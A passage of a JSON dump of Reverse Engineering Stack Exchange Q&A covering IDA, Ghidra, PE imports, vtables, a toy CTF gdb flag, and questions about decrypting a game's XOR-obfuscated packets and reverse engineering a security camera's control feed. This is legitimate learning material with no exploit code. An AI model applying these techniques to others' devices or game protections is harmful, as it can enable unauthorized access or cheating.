encryption, this was apparently later discontinued)</p>\n<p>From my understanding, the code does the following (assuming, param_2 is the buffer for the packet?):</p>\n<ol>\n<li>Loop over the buffer, as long as counter &lt; param_5 (which I assume is the length of the payload to decrypt?)</li>\n<li>XOR the byte with a value (first byte that needs to be decrypted would be at position 5, so I assume that param_3 would be a kind of offset to skip the first 4 bytes.)</li>\n<li>Return a bool (don't know why it is declared as undefined) whether the decryption worked or not.</li>\n</ol>\n<p>Below I also posted the assembly code for this block of code (starting at the counter = 0 in the while loop for type == 2)\n<a href=\"https://i.stack.imgur.com/uCtlF.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/uCtlF.png\" alt=\"enter image description here\" /></a></p>\n<hr />\n<p>As said in the beginning, I am not experienced when it comes to this kind of things.</p>\n<p>I therefore would like some additional information on how I would continue from here on, so that I could implement the decryption in my programming language of choice - what exactly is the code block above doing?</p>\n<p>I hope I included all information needed.</p>\n<p>Thanks for reading (and helping)! :)</p>\n",
        "Title": "Help regarding XOR game decryption algorithm",
        "Tags": "|disassembly|static-analysis|decryption|packet|xor|",
        "Answer": "<p>From type == 0 you see that it writes to param_3 and reads from param_4. So those parameters must be  pointers to output and input buffers respectively. In fact, if you change them to correct type (byte *), then I believe Ghidra should be able to simplify the rest of the code to easily understandable form.</p>\n<p>The part that modifies param_2 is a simple pseudo-RNG. Note the classic trick of getting rid of the not-very-random lower bits of its output by shifting right.</p>\n<p>Also, I didn't check this myself, but I bet types 1 and 2 do the opposite of each other. That is, one of them encrypts and the other decrypts.</p>\n"
    },
    {
        "Id": "27415",
        "CreationDate": "2021-04-07T19:58:56.817",
        "Body": "<p>I want to define struct in Ida , but I know only partial of this struct</p>\n<p>I only know that in <code>arr[12]</code> that int student_id , and I don't know the rest of struct. Ida recognize that struct as <code>char *</code> .</p>\n<p>How can I define that struct?</p>\n",
        "Title": "Define partial struct with IDA",
        "Tags": "|ida|struct|",
        "Answer": "<p>Something like:</p>\n<pre><code>struct partially_known {\n  char gap0[12];\n  int student_id;\n  char gap10[32];\n};\n</code></pre>\n"
    },
    {
        "Id": "27421",
        "CreationDate": "2021-04-08T13:03:01.693",
        "Body": "<p>I have an exe with symbols stripped that I am trying to reverse engineer. I know the library is linked with MFC but I don't know which version. (Therefore, I can't use something like FLIRT signatures etc. to import known symbols and help reverse engineering).</p>\n<p>Is there a way to deduce the version of MFC statically linked into an exe from the exe itself?</p>\n<p>I have tried some trial and error approaches but really it caused a lot of trouble as some symbols matched and others don't. I'm looking for a tried and tested way - is something embedded in the metadata of an exe?</p>\n",
        "Title": "Find out version of statically linked MFC from an exe",
        "Tags": "|windows|dynamic-linking|mfc|",
        "Answer": "<p>All statically linked MFC binaries I've seen always include strings for some internal classes. The naming convention can be found in afximpl.h:</p>\n<pre><code>#define AFX_WNDCLASS(s) \\\n    _T(&quot;Afx&quot;) _T(s) _T(_MFC_FILENAME_VER) _STATIC_SUFFIX _UNICODE_SUFFIX _DEBUG_SUFFIX\n\n#define AFX_WND             AFX_WNDCLASS(&quot;Wnd&quot;)\n#define AFX_WNDCONTROLBAR   AFX_WNDCLASS(&quot;ControlBar&quot;)\n#define AFX_WNDMDIFRAME     AFX_WNDCLASS(&quot;MDIFrame&quot;)\n#define AFX_WNDFRAMEORVIEW  AFX_WNDCLASS(&quot;FrameOrView&quot;)\n#define AFX_WNDOLECONTROL   AFX_WNDCLASS(&quot;OleControl&quot;)\n</code></pre>\n<p>So, for example, AfxWnd100s means that the program has been compiled with the static release MFC 10.0 library while AfxWnd140sd will be present in the static debug build of MFC 14.0 (VS2015). The string will be in Unicode (UTF-16) and with the <code>u</code> suffix for Unicode builds (e.g. <code>AfxWnd140sud</code>).</p>\n"
    },
    {
        "Id": "27425",
        "CreationDate": "2021-04-09T06:32:38.953",
        "Body": "<p>I am looking to reverse engineer a construction security camera. I am a self-learner, and have a very general grasp on electrical engineering and coding - so I'm not entirely 'out of my element' - but I understand this is a big challenge that requires a lot of work. I am looking to eventually create an interface that will let see what the camera sees, as well as utilize its PTZ functions. <strong>What would be the most idiot proof method of entry to figure out the interface?</strong></p>\n<p>The camera (or camera package I guess) in question is an <a href=\"https://www.axis.com/en-us/products/axis-q6128-e\" rel=\"nofollow noreferrer\">Axis PTZ camera</a>, which is connected to an Axis DC <a href=\"https://www.axis.com/en-us/products/midspans/axis-t81b22-dc-30-w-midspan-1-port\" rel=\"nofollow noreferrer\">PoE midspan</a>. The midspan directly plugs into a Raspberry Pi 3 Model B that bootloads directly from a micro-SD card (to me that was rather surprising). The pi then has three USB cables, two of which run to a proprietary board (which will be described and pictured below), and the third which plugs into a Sierra Wireless AirLink RV50 for transmission via wireless carrier network.</p>\n<p>The proprietary board has two JTAG ports, a ten-pin port that connects to an <a href=\"https://www.adestotech.com/wp-content/uploads/doc8784.pdf\" rel=\"nofollow noreferrer\">Adesto SPI flash</a>, and a 20 pin JTAG that connects to a <a href=\"http://www.latticesemi.com/iCE40#_21E33C7EC0BD48AA80FE384ED73CC895\" rel=\"nofollow noreferrer\">Lattice Semi ICE40 HX8X FPGA chip</a>. The only other chips of notable manufacture is a <a href=\"https://www.silabs.com/developers/usb-to-uart-bridge-vcp-drivers\" rel=\"nofollow noreferrer\">SILabs CP2102</a>, and a <a href=\"https://www.ti.com/product/ADC088S022?utm_source=supplyframe&amp;utm_medium=SEP&amp;utm_campaign=not_alldatasheet&amp;DCM=yes#product-details##description\" rel=\"nofollow noreferrer\">TI CMOS sensor ADC</a>. The board also houses the power transformer and directs power to all the components.</p>\n<p><a href=\"https://i.stack.imgur.com/biVDX.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/biVDX.jpg\" alt=\"A picture of the proprietary board (aside from the transformer side)\" /></a></p>\n<p>There are a few points of access I could try to get access to the control system, but i am curious about all y'alls opinion.</p>\n<p>TL;DR <strong>What would be more forgiving of novice blunders?</strong> Would it be better if I were to try to change any programming on the card? Is it better to try to decode the data as it is sent to the WIFI access point? Just curious what the best method of entry/analysis should be. Everything I have seen on the internet involves some sort of IP sniffing, but when the camera has its own unique network system via cellular carrier, and I don't know what it is transmitting... Better to not.</p>\n<p>Hoping for the best, and excited to hear any tips you all might have.</p>\n<p>Cheers!\nPhotovoltaeic</p>\n",
        "Title": "Most idiot-proof method of entry to Reverse Engineer Visual/Control feed for security camera",
        "Tags": "|hardware|",
        "Answer": "<p>I think I'd start with the Raspberry Pi.  The reason is that among the pieces you've listed, it's probably the one that has the most available documentation.</p>\n<h3>\u201cThe first rule of intelligent tinkering is to save all the pieces.\u201d -- Aldo Leopold</h3>\n<p>Because the Raspberry Pi boots from a MicroSD card, the first thing I'd do would be to <strong>make a copy of that card</strong> and preserve the original.  Because it's probably running Raspberry Pi OS (a Linux derivative), it would be easiest to dissect the contents of that card under Linux.  Here's a bash script to mount the two partitions of the standard format Pi image:</p>\n<pre><code>#!/bin/bash\n# Automatically mount a Raspberry Pi image \n\nif [[ ! $(whoami) =~ &quot;root&quot; ]]; then\n    echo &quot;&quot;\n    echo &quot;**********************************&quot;\n    echo &quot;*** This should be run as root ***&quot;\n    echo &quot;**********************************&quot;\n    echo &quot;&quot;\n    exit\nfi\n\nif [[ -z $1 ]]; then\n    echo &quot;Usage: ./mountimg.sh my-favorite-pi.img&quot;\n    exit\nfi\n\nif [[ ! -e $1 ]]; then\n    echo &quot;Error : Not an image file, or file doesn't exist&quot;\n    exit\nfi\n\nfatoffset=`parted -m $1 unit B print |sed -e 'y/B/ /'|grep fat|awk -F: '{print $2}'`\nfatlimit=`parted -m $1 unit B print |sed -e 'y/B/ /'|grep fat|awk -F: '{print $4}'`\nextoffset=`parted -m $1 unit B print |sed -e 'y/B/ /'|grep ext4|awk -F: '{print $2}'`\nextlimit=`parted -m $1 unit B print |sed -e 'y/B/ /'|grep ext4|awk -F: '{print $4}'`\necho &quot;fatoffset = ${fatoffset}.&quot;\necho &quot;fatlimit = ${fatlimit}.&quot;\necho &quot;exttoffset = ${extoffset}.&quot;\necho &quot;exttlimit = ${extlimit}.&quot;\n\nmkdir img1 img2\necho mount -t vfat -o loop,offset=${fatoffset},sizelimit=${fatlimit} &quot;$1&quot; img1\necho mount -t ext4 -o loop,offset=${extoffset},sizelimit=${extlimit} &quot;$1&quot; img2\n</code></pre>\n<p>Once the copy is mounted, I'd start by looking at its boot sequence.</p>\n<h2>What software does it load?</h2>\n<p>Study the boot sequence of the Pi from the copy of the SD card.  Generally, the interesting bits are likely to have configuration items in <code>/etc</code> and <code>/boot</code>.  The startup sequence is <a href=\"https://www.raspberrypi.com/documentation/computers/raspberry-pi.html#boot-sequence\" rel=\"nofollow noreferrer\">well documented</a> so you might find it useful to start there.  I have even sometimes seen source code left on a device, so you could get very lucky that way.</p>\n<h2>What users exist on the system?</h2>\n<p>Custom software for Raspberry Pi-based systems is often installed as either <code>root</code> or as another user.  If it's under another user, it could be the default <code>pi</code> user or it could be some newly created user.  By examining <code>/etc/passwd</code> you can see which users and systems are provisioned on the machine and get some clues as to what is running.  For example, if it has <code>mysql</code> and <code>mosquitto</code> as users, you can conclude that is has both a database and an MQTT broker which suggest further avenues for exploration.</p>\n<h2>Try running the software</h2>\n<p>A Raspberry Pi is a pretty inexpensive device.  I'd suggest getting one, if you don't already have one, and booting it up with your cloned SD card but no peripherals attached.  Make a note of what processes are running and look for their binary files on the SD card.</p>\n"
    },
    {
        "Id": "27428",
        "CreationDate": "2021-04-09T18:02:39.427",
        "Body": "<p>I am reversing a program that has a lot of internal structs in it.</p>\n<p>The problem is that there are a lot of structs, so i can't import them manually using local types-&gt;insert.</p>\n<p>Lets say i have some header files that have all the definitions of these structs (but obviously a lot of other stuff as well like defines, since its an actual header file), is there anyway i can import this in IDA?</p>\n<p>I cannot manually add structs because there are more than 1000 structs in these header files</p>\n",
        "Title": "Import header files in IDA to get the struct definitions?",
        "Tags": "|ida|windows|idapython|c|idapro-sdk|",
        "Answer": "<p>You can parse a header using <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/1367.shtml\" rel=\"nofollow noreferrer\">File &gt; Load file &gt; C header file</a> or <a href=\"https://github.com/trou/apache-module-ida-til\" rel=\"nofollow noreferrer\">create a type library</a> beforehand.</p>\n"
    },
    {
        "Id": "27437",
        "CreationDate": "2021-04-11T14:27:30.037",
        "Body": "<p>I am writing a program where I map an <code>.exe</code> PE file in memory and I &quot;dissect&quot; it.\nI am disassembling the <code>.text</code> section of the target executable, using the <a href=\"https://github.com/gdabah/distorm\" rel=\"nofollow noreferrer\">distorm</a> disassembler.</p>\n<p><code>CALL</code> instructions in the disassembly have an offset relative to the <code>RIP</code> register, e.g.: <code>CALL QWORD [RIP+0xf8e]</code>.</p>\n<p>I am also reading the <code>Import Descriptor Table</code> and I can see all the function calls from various .dlls there.</p>\n<p>When using dumpbin.exe with <code>/section:.text /disasm</code> to disassemble the same target <code>.exe</code>, although it shows the same opcodes <code>ff 15 8e 0f 00 00</code>, it somehow translates this RIP offset to the proper (and correct) Win32 function being called (in my program <code>GetCurrentProcessId()</code>), <code>call qword ptr [__imp_GetCurrentProcessId]</code>.</p>\n<p>My question is how to &quot;map&quot;/resolve each <code>CALL</code> instruction that I see in my disassembly to a specific Win32 API call, like dumpbin does, since I don't run this program inside the debugger and therefore the IAT is not overwritten by the Windows loader to show the proper <code>jmp</code> instruction calling the Windows API. Is it a disassembler issue? Can I deduct this somehow using the various PE structures?</p>\n",
        "Title": "Disassembly call function offset from RIP",
        "Tags": "|disassembly|windows|pe|x86-64|",
        "Answer": "<p>I found a solution and gonna leave it here for future reference.</p>\n<p>First, you need to calculate the linear address (the one the binary will have in run-time) from the RIP offset of the jump. Let's say the RIP offset is <code>0x8fe</code>. You add this, and the offset of the instruction itself (offset from start of .text section) plus the instruction size and you get a number. You then have to add this number to the start of the .text section, but this time, you need to include the <code>SectionAlignment</code> in your calculation. If the RVA of the <code>.text</code> is <code>0x400</code> and the <code>SectionAlignment</code> is <code>0x1000</code>, then the start of the <code>.text</code> will be at Image Base + <code>0x1000</code>.</p>\n<p>Then you get the imported function names from the ILT <a href=\"https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#import-directory-table\" rel=\"nofollow noreferrer\">Import Directory Table</a>. You do this by reading the <code>OriginalFirstThunk</code> pointer to <code>u1.Ordinal</code> and then to <code>Name</code>. For more details look <a href=\"https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#import-directory-table\" rel=\"nofollow noreferrer\">here</a>.</p>\n<p>When doing this, you know the order that the imported functions are imported, per dll.</p>\n<p>Now, you need to get the <code>FirstThunk</code> RVA, which will point to a NULL location when the file isn't loaded. However, this RVA is the start of the IAT (in run-time). The size of each import is 8 bytes.</p>\n<p>For example, if you see that a <code>CALL QWORD PTR [RIP+0xf8e]</code>, you calculate this number and you get (say) <code>0x0000022D932D2008</code> which is 8 bytes from the start of the IAT, you know that this call calls the <em>second</em> imported function. Since you know the order, you know which function it is.</p>\n"
    },
    {
        "Id": "27443",
        "CreationDate": "2021-04-12T10:10:33.883",
        "Body": "<p>How can i force IDA to re analyze a function recursively (meaning including every function inside of it and so on) and recognize all the functions inside of all the functions? because right now when a PE is mapped, IDA does not recognize any function inside of it, unlike when i analyze the PE file, and i have to click on every function (unk_xxx) and press P in start of it so it can recognize the function..</p>\n<p>clicking on reanalyze in options doesnt work either.</p>\n<p>Alt + P as suggested here doesn't work either :</p>\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/19967/api-to-force-reanalyze-of-function-alt-p\">API to force reanalyze of function (Alt-P)</a></p>\n<p>In decompiler view alt+P doesnt do anything at all, and in disassmbly it just edits the function.</p>\n<p>Using IDA 7.5.</p>\n",
        "Title": "Force IDA to reanalyze a function recursively?",
        "Tags": "|ida|idapro-sdk|",
        "Answer": "<p>If someone feels the need to do this programmatically in a non-debug setting, this is the code I would use.</p>\n<p>Note #1: There are some shortcut functions of my own <code>GetFuncStart</code> and such that are not included, I'm sure you can work them out.  The reference to the <code>Commenter</code> class will just have to be removed.</p>\n<p>Note #2: The seemingly extreme measures taken in <code>ZeroFunction</code> are the only way I have found to ensure a function is actually rebuilt.  None of the ida_auto functions seem to do much.  You may opt for something less extreme if it suits you.</p>\n<p>Note #3: The order of called functions is reversed to attempt to do the rebuild from the bottom up, hopefully allowing IDA to make more educated guesses about arguments and such.</p>\n<p>Note #4: The many superfluous variables, lists and such are from the larger original function which (amongst other things) produces .dot vizgraphs.  I have left them in lest someone find a use for them.</p>\n<pre><code>def RebuildFuncAndSubs(ea):\n    subs = RecurseCalled(ea)['calledLocs']\n    subs.reverse()\n    for addr in subs:\n        ZeroFunction(addr)\n        idc.auto_wait()\n    ZeroFunction(ea)\n    idc.auto_wait()\n\n\ndef RecurseCalled(ea=None, width=512):\n    def all_xrefs_from(funcea, iteratee=None):\n        if iteratee is None:\n            iteratee = lambda x: x\n\n        xrefs = []\n        for (startea, endea) in Chunks(funcea):\n            for head in Heads(startea, endea):\n                xrefs.extend([GetFuncStart(x.to) for x in idautils.XrefsFrom(head) \\\n                        if x.type in (ida_xref.fl_CF, ida_xref.fl_CN, ida_xref.fl_JF, ida_xref.fl_JN) \\\n                        and not ida_funcs.is_same_func(funcea, x.to) \\\n                        and IsFunc_(x.to)])\n\n        xrefs = list(set(xrefs))\n\n        return xrefs\n\n    if ea is None:\n        ea = idc.get_screen_ea()\n\n    calledNames = list()\n    calledLocs = list()\n    visited = set([])\n    if isinstance(ea, list):\n        pending = set(ea)\n        initial = set([GetFuncStart(x) for x in ea])\n    else:\n        pending = set([ea])\n        initial = set([GetFuncStart(ea)])\n    depth = 0\n    count = 0\n    added = [1]\n    functionCalls = collections.defaultdict(set)\n    namedFunctionCalls = collections.defaultdict(set)\n    fwd = dict()\n    rev = dict()\n\n    while pending and len(pending) &lt; width:\n        target = pending.pop()\n        count += 1\n        added[0] -= 1\n        if added[0] &lt; 1:\n            depth += 1\n            added.pop()\n\n        visited.add(target)\n\n        fnName = idc.get_func_name(target) or idc.get_name(target) or &quot;0x%x&quot; % ref\n        fnStart = GetFuncStart(target)\n\n        if fnStart &lt; idc.BADADDR:\n            target = fnStart\n            visited.add(target)\n            if not fnStart in initial:\n                calledNames.append(fnName)\n                calledLocs.append(fnStart)\n\n        refs = all_xrefs_from(fnStart)\n        refs = set(refs)\n        refs -= visited\n        size1 = len(pending)\n        pending |= refs\n        size2 = len(pending) - size1\n        added.append(size2)\n\n    return {'calledName': calledNames,\n            'calledLocs': calledLocs,\n           }\n\n\ndef ZeroFunction(ea, total=False):\n    print(&quot;0x%x: ZeroFunction&quot; % ea)\n    start = 0\n    end = 0\n    # Don't hold the func_t object open\n    func = clone_items(ida_funcs.get_func(ea))\n    if not func:\n        return BADADDR\n\n    # Keep existing comments\n    with Commenter(ea, 'func') as commenter:\n        fnLoc = func.start_ea\n        fnName = ida_funcs.get_func_name(fnLoc)\n        flags = func.flags  # idc.get_func_attr(ea, FUNCATTR_FLAGS)\n        # remove library flag\n        idc.set_func_attr(fnLoc, FUNCATTR_FLAGS, flags &amp; ~4)\n        ida_name.del_local_name(fnLoc)\n        ida_name.del_global_name(fnLoc)\n        # RemoveAllChunks(ea)\n        for start, end in idautils.Chunks(ea):\n            idc.remove_fchunk(start, end)\n        ida_funcs.del_func(func.start_ea)\n        idc.set_color(fnLoc, CIC_FUNC, 0xffffffff)\n        if not total:\n            func = ida_funcs.func_t(fnLoc)\n            res = ida_funcs.find_func_bounds(func, ida_funcs.FIND_FUNC_DEFINE | ida_funcs.FIND_FUNC_IGNOREFN)\n            if res == ida_funcs.FIND_FUNC_UNDEF:\n                print(&quot;0x%x ZeroFunction: func passed flow to unexplored bytes&quot; % fnLoc)\n            elif res == ida_funcs.FIND_FUNC_OK:\n                ida_funcs.add_func_ex(func)\n\n            idc.auto_wait()\n            # remove library flag (again)\n            idc.set_func_flags(fnLoc, idc.get_func_flags(fnLoc) &amp; ~4)\n            # return original function name\n            \n            idc.set_name(fnLoc, fnName, idc.SN_NOWARN)\n</code></pre>\n"
    },
    {
        "Id": "27449",
        "CreationDate": "2021-04-12T22:14:07.253",
        "Body": "<p>I am working on patch diffing using ghidra + bindiff (specifically, <a href=\"https://github.com/google/binexport/tree/main/java/BinExport\" rel=\"nofollow noreferrer\">binexport</a>), and am looking for advice on using bindiff with Ghidra headless.</p>\n<p><a href=\"https://github.com/TakahiroHaruyama/ida_haru/blob/master/bindiff/bindiff.py\" rel=\"nofollow noreferrer\">ida_haru</a> does essentially everything that I need, but for IDA instead of Ghidra. Specifically, I am wondering if something like the <code>_make_BinExport()</code> function exists for Ghidra.</p>\n<pre><code>def _make_BinExport(self, target, ida_path):\n        binexp_path = self._get_db_path_noext(target) + '.BinExport'\n        #binexp_path = os.path.splitext(target)[0] + '.BinExport'\n        if not self._clear and os.path.exists(binexp_path):\n            self._dprint('already existed BinExport: {}'.format(binexp_path))\n            return 0\n\n        #cmd = [ida_path, '-A', '-S{}'.format(g_exp_path), '-OExporterModule:{}'.format(binexp_path), target]  # the .BinExport filename should be specified in 4.3\n        cmd = [ida_path, '-A', '-S{}'.format(g_exp_path), '-OBinExportModule:{}'.format(binexp_path), target]\n        #print cmd\n        \n        self._dprint('getting BinExport for {}'.format(target))\n        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n        stdout, stderr = proc.communicate()\n        return proc.returncode\n</code></pre>\n<p>Things I have done:</p>\n<ol>\n<li>ghidra headless script to get the <code>func_names</code> and <code>min_addr</code> for each function in the binaries,</li>\n<li>python script to work with the <code>original_vs_patched.BinDiff</code> files (sqlite3), and correlate results with the <code>func_names</code></li>\n</ol>\n<p>I'm missing:</p>\n<ol start=\"0\">\n<li>ghidra headless script to create and export the <code>*.BinExport</code> files</li>\n</ol>\n<p>Advice and insights appreciated!</p>\n",
        "Title": "Ghidra headless + bindiff (binexport)",
        "Tags": "|ghidra|bin-diffing|tool-bindiff|",
        "Answer": "<p>There are some additional imports required:</p>\n<pre><code>from com.google.security import binexport\nimport java.io.File as File\n</code></pre>\n<p>without which the codes will not work.</p>\n"
    },
    {
        "Id": "27451",
        "CreationDate": "2021-04-13T00:17:11.547",
        "Body": "<p>I'm reverse engineering a game and came across some function calls like the ones shown below, how do I find where these functions are located / decompile them?</p>\n<p><code>(*(BaseClient-&gt;int640 + 304))(BaseClient)</code></p>\n<p><code>(*(BaseClient-&gt;int640 + 224))(BaseClient, *&amp;v32-&gt;gap2[262], &amp;v116, *&amp;v32-&gt;gap2[342], v34, v33, v146, *&amp;v32-&gt;gap2[246], &amp;Mem, 0)</code></p>\n<p><a href=\"https://i.stack.imgur.com/jINoX.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/jINoX.png\" alt=\"2\" /></a>\n<a href=\"https://i.stack.imgur.com/6cHRt.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/6cHRt.png\" alt=\"1\" /></a></p>\n",
        "Title": "How do I find missing/undefined vtable functions in IDA64?",
        "Tags": "|ida|c++|c|game-hacking|",
        "Answer": "<p>By finding the constructor for the structure type that you're looking at, making note of the VTable address, and adding the indicated offsets to obtain the concrete function pointers for the calls in question.</p>\n"
    },
    {
        "Id": "27453",
        "CreationDate": "2021-04-13T11:50:36.460",
        "Body": "<p>I created a code construct in C to see how it looks in x86. I'm confused about the use of the shl instructions. I'm confused about what is happening in between the lines &lt;+39&gt; and &lt;+51&gt; I don't get how those instructions translate to the source code.</p>\n<p><a href=\"https://i.stack.imgur.com/JW4Dm.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/JW4Dm.png\" alt=\"Code construct\" /></a></p>\n<p>Here's the source code:\n<a href=\"https://i.stack.imgur.com/Nz3r7.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Nz3r7.png\" alt=\"Source\" /></a></p>\n<p>It's obviously compiler optimisation but I'm not understanding how that would be equal to multiplying by 21. [It's bit shifting eax, 0x2, or multiplying by 4 twice, but I don't understand how the add instructions make it go from multiplying by 16 to 21]</p>\n<p>Thanks for any help! Rohail.</p>\n",
        "Title": "Confused about the use of the shl instruction in this disassembly",
        "Tags": "|disassembly|x86|c|gdb|",
        "Answer": "<p>Let's break it down line by line. Assuming <code>x</code> is the thing you want to multiply by <code>21</code> and it's stored in <code>eax</code> (as it is in this example after line <code>34</code>).</p>\n<pre><code>&lt;39&gt;: mov edx, eax  ; so copy the x to edx\n&lt;41&gt;: mov eax, edx  ; it's pointless to do this mov; after those two lines eax &amp; edx has the value of x\n&lt;43&gt;: shl eax, 2    ; so eax = x * 4\n&lt;46&gt;: add eax, edx  ; so eax = x * 5  (x * 4 + x)\n&lt;48&gt;: shl eax, 2    ; so eax = x * 20 (x * 5 * 4)\n&lt;51&gt;: add eax, edx  ; so eax = x * 21 (x * 5 * 4 + x)\n</code></pre>\n<p>PS. For the future please post code as a text. Much easier to copy than from the image.</p>\n"
    },
    {
        "Id": "27469",
        "CreationDate": "2021-04-14T09:24:59.310",
        "Body": "<p>I have a file named exploit.c inside which:</p>\n<pre><code>#include &lt;stdbool.h&gt;\n#include &lt;stdio.h&gt;\n\nconst char y1 = 'a';\nconst char y2 = 'b';\nconst char y3 = 'x';\nconst char y4 = 'y';\nconst char y5 = 'i';\nconst char y6 = 'j';\n\nchar x1 = 'f' ^ 'a';\nchar x2 = 'l' ^ 'b';\nchar x3 = 'a' ^ 'x';\nchar x4 = 'g' ^ 'y';\nchar x5 = 'y' ^ 'i';\nchar x6 = '-' ^ 'j';\n\nint main() {\n  bool c = false;\n  if(c) { printf(&quot;The flag is: %c%c%c%c%c%c%c%c%c%c%c\\n&quot;, x1 ^ y1, x2 ^ y2, x3 ^ y3, x4 ^\ny4, x4 ^ y4, x5 ^ y5, x6 ^ y6, x1 ^ y1, x2 ^ y2, x3 ^ y3, x4 ^ y4); }\n  return 0;\n}\n</code></pre>\n<p>How can I print out the flag without changing the value of boolean but with gcc and gdb?</p>\n",
        "Title": "Changing value of parameter with gdb",
        "Tags": "|disassembly|assembly|debugging|gdb|gcc|",
        "Answer": "<p>It was pretty easy one so I could do myself:)\nWe have exploit.c file where I need to debug it in order to get the flag with 'gcc'. I run the program with:</p>\n<p><code>gcc -g exploit.c -o exploit</code></p>\n<p>and got 'exploit' which is executable <code>exploit.c</code> file.\nTo launch the binary under a debugger - gdb</p>\n<p><code>gdb exploit</code></p>\n<p>We have <code>bool c = false;</code> on line 21, so put the break line on it:</p>\n<pre><code>break 21\n</code></pre>\n<p>Then: I changed the value of c by this command: <code>set variable c = true</code>\nHowever, when I went to the  next line by \u201cnext\u201d it become false again.\nSo I reset the value again: <code>set variable c = true</code> and then next button:\nYay, it printed out the flag:</p>\n<pre><code>(gdb) next\n\nThe flag is: flaggy-flag\n23    return 0;\n</code></pre>\n"
    },
    {
        "Id": "27484",
        "CreationDate": "2021-04-16T16:46:27.060",
        "Body": "<p>I have a suspicious process. I found it by ProcessHacker's network tab.</p>\n<p>ProcessHacker display the process as Unknown.</p>\n<p>The process listening into a constant port number that's also not found by standard windows tools.</p>\n<p>The process id also not found by standard windows tools.</p>\n<p>Looking at Wireshark traffic, I see there is traffic going to two IPs in Russia.</p>\n<p>I attempted to attach Frida into this process but Frida reports an error like below,</p>\n<pre><code>[Error: Unexpected error allocating memory in target process (VirtualAlloc returned 0x00000005)]\n</code></pre>\n<p>I've used both 64 bit and 32 bit versions of Frida but still same error.</p>\n",
        "Title": "Unable to attach into mysterious PID",
        "Tags": "|windows|process|frida|processhacker|",
        "Answer": "<p>It's not a malware. It's cygwin's ssh-agent and it uses non existent PID as parent. I was able figure this out using a new version of ProcessHacker.</p>\n"
    },
    {
        "Id": "27485",
        "CreationDate": "2021-04-16T21:14:35.513",
        "Body": "<p>I know this is compiler/ABI dependent, not necessarily standardized, etc. I've always assumed, from what I've read in several places (e.g. <a href=\"https://reverseengineering.stackexchange.com/a/5957/33935\">an answer here</a> or <a href=\"https://en.wikipedia.org/w/index.php?title=Virtual_method_table&amp;oldid=1007338497#Example\" rel=\"nofollow noreferrer\">the example in wikipedia</a>), that a typical thing a compiler does is having a pointer to the vtable of <code>Class</code> at the start of an object of type <code>Class</code>.</p>\n<p>I'm now debugging and instrumenting a function that receives a <code>Class*</code> parameter. <code>Class</code> has virtual functions. I want to <strong>determine if it belongs to a class</strong> that I care about. I probably also want to do other things with it, so I'm trying to get a good understanding.</p>\n<p>I look at the disassembly in Ghidra, and I find this about the vtable of that class (paste is coming from an example I wrote, but it's equivalent in a real binary that I want to RE):</p>\n<pre><code>                             **************************************************************\n                             * vtable for DerivedClass                                    *\n                             **************************************************************\n                             _ZTV12DerivedClass                              XREF[3]:     Entry Point(*), \n                             DerivedClass::vtable                                         operator():001039d1(*), \n                                                                                          _elfSectionHeaders::00000650(*)  \n        00107c70 00 00 00        ptrdiff_\n                 00 00 00 \n                 00 00\n           00107c70 [0]                                  0h\n        00107c78 88 7c 10        addr       DerivedClass::typeinfo                           = \n                 00 00 00 \n                 00 00\n                             PTR_ARRAY_00107c80                              XREF[2]:     operator():001039d8(*), \n                                                                                          operator():001039dc(*)  \n        00107c80 94 42 10        addr[1]\n                 00 00 00 \n                 00 00\n           00107c80 94 42 10 00 00  addr      DerivedClass::someVirt  [0]                               XREF[2]:     operator():001039d8(*), \n                    00 00 00                                                                                         operator():001039dc(*)  \n\n</code></pre>\n<p>And here is where my surprise is:</p>\n<ol>\n<li>I get the address of <code>_ZTV12DerivedClass</code> (e.g. via Frida, <code>Module.findExportByName(null, &quot;_ZTV12DerivedClass&quot;)</code> or in GDB, <code>info address _ZTV12DerivedClass</code>).</li>\n<li>I get the address of the vtable of the object (it's 64 bits, so 8 first bytes of the object), again, in the debugger or with Frida.</li>\n<li>I compare the two, and I get that <em>they are 16 bytes away</em>, the size of 2 pointers: the pointer in the object instance is <strong>not to the start</strong> of the vtable, but at the start of the array of pointers to the virtual functions!</li>\n</ol>\n<p>This is not Earth-shattering in order to compare the pointers, of course. Just add 16. I've seen explanations of what those first two pointers should be. But I have some doubts:</p>\n<ol>\n<li>Is it reliable to assume that the difference of 16 is going to be consistent in all classes in the same binary?</li>\n<li>Is this common in more compilers?</li>\n<li>Do the two positions in the table (the very start of it and the start of the array of pointers to the virtual functions) have any naming convention? I find it surprising that there is a pointer to something and it's not the start of the vtable as found on the disassembly.</li>\n<li>Could be some historical legacy? If C++ first had virtual functions but without virtual inheritance or RTTI, it might explain that those two extra pointers were added to the top to not change some other assumptions.</li>\n</ol>\n",
        "Title": "Comparing the static address of the vtable of a class, to the pointer to it held by the object",
        "Tags": "|linux|gcc|pointer|vtables|",
        "Answer": "<p>The <a href=\"https://itanium-cxx-abi.github.io/cxx-abi/abi.html\" rel=\"nofollow noreferrer\">Itanium C++ ABI</a> is sometimes not very clear about what exactly is \u201cvtable\u201d.</p>\n<p>In practice, the symbol such as <code>_ZTV12DerivedClass</code> points to the <em>complete vtable structure</em>, which includes the two pointer-sized slots before it (RTTI pointer and offset to top).</p>\n<p>So, to get the start of the virtual function pointers table (what is commonly understood as \u201cthe vtable\u201d),  you have to add 16 (or 8 on 32-but platforms) to the symbol\u2019s address.</p>\n"
    },
    {
        "Id": "27486",
        "CreationDate": "2021-04-16T23:05:49.227",
